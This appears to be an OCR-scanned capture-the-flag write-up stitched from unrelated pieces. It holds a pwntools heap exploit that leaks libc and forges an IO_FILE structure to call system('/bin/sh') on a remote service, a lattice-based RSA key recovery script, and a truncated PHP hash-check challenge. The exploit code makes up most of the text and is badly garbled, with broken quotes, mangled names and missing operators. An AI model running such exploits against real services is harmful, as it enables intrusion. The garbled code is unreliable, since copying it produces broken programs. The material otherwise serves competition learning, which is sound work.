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from import *
= 'debug’

# p = process(’./pwn’)

elf = ELF(./pwn’)

# libc = elf.libc

libc = ELF(’./libc-2.23.s0’)

p =remote(“182.92.203.154”, 28452)
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def add(idx, size, content):
p.sendlineafter(>>’, ‘1’)
p.sendlineafter(’’, str(idx))
p.sendlineafter(’’, str(size))
p.sendafter(’:’, content)

def show(idx):
p.sendlineafter(>>’, ‘2’)
p.sendlineafter(’:’, str(idx))

def edit(idx, content):
p.sendlineafter(’>>', ‘3’)
p.sendlineafter(’:’, str(idx))
p.sendafter(’:’, content)

gdb.attach(p)

add(0, 0x108, ‘aaaa’)

edit(0, b'\x00" 0x708 + p64(0xef1))

add(1, 0x1000, ‘bbbb)

add(2, 0x108, ¢’8)

show(2)

p.recvuntil(‘c’8)

leak = u64(p.recv(6) + b'\x00\x00)

libc_base =leak - libc.sym[__malloc_hook] - 0x678
log.info(libc: + hex(libc_base))

_1O list_all =libc_base + libc.sym[ IO list all]
payload = "A’0xF + B’

edit(2, payload)

show(2)

p.recvuntil('B)

leak = u64(p.recv(6).ljust(8, b\x00))

heap_base =leak - 0x110

log.info(‘heap: + hex(heap_base))

payload = b\x00’0x100

io_file = b/bin/sh\x00’

io_file +=p64(0x61) + p64(0) + p64(_IO_list_all - 0x10) + p64(0) + p64(1)
io_file =io_file.ljust(0xc0, b\x00)

payload +=io_file

payload += p64(0) 3 + p64(heap_base + 0x300 - 8) + p64(0) * 2 + p64(libc_base + libc.sym['system]) #
edit(2, payload)

# p.sendlineafter(>>), ‘1)

# p.sendlineafter(*; str(3))

# p.sendlineafter(*, str(0x600))

p.interactive()
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FEMTE, 7771start.sh& 2] python2, #il 7 —F

( ).system(

common
B L L PTHAIIRA, (A2 HLLIH, ZHBNE 557721

el = 28720970875923431651096339432854172528258265954461865674640550905460254396153781189674547341687577+
e2 = 13102126600280278685438865308072914027344390214166577817060446511362034607651126212482937183872481°
n = 159077408219654697980513139040067154659570696914750036579069691821723381989448459903137588324720148
c1= 39271160836162213728405548853500467610171589037641347982950067368350296408717130302411099962891020¢€
c2 = 11063473020675831414329998727406342828603899814595056449569482122776781063550304732108550908925834¢
import gmpy2

def long_to_bytes(x):
return .fromhex(hex(x)[2:])

foriin range(731, 682, -1):
print(i)

alpha2 =i/2048

M1 =round(n * 0.5)

M2 =round(n * (1 + alpha2))
A =Matrix(ZZ, [

[n, -M1n, 0, n"2],

[0, M1e1, -M2e1, -e1n],

[0, 0, M2e2, -e2n],

[0, 0,0, ete2]
)
AL=ALLL()

C = Matrix(ZZ, AL[0])

B =A.solve_left(C)[0]

phi1 =floor(e1 B[1]/B[0])

phi2 =floor(e2 * B[2] / B[0])

d1 =gmpyZ2.invert(e1, phi1)

d2 =gmpyZ2.invert(e2, phi2)

m1=long to bytes(powc1, d1, n))
m2 =long _to_bytes(pow(c2, d2, n))
m=m1+m2

ifbflag’in m:

print(m)
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B #EFE: hitp:/39.101.177.96/ <?php include 'conn.php'; highlight file("index.php”); /level 1 if (§_GET["hash1"]I=
hash("md4", $ GET["hash1"])) { die('level 1 failed’); }

Mevel 2

if($_GET[hash2]===ET[ hash3]||md5(_GET[‘hash2’]) == md5(
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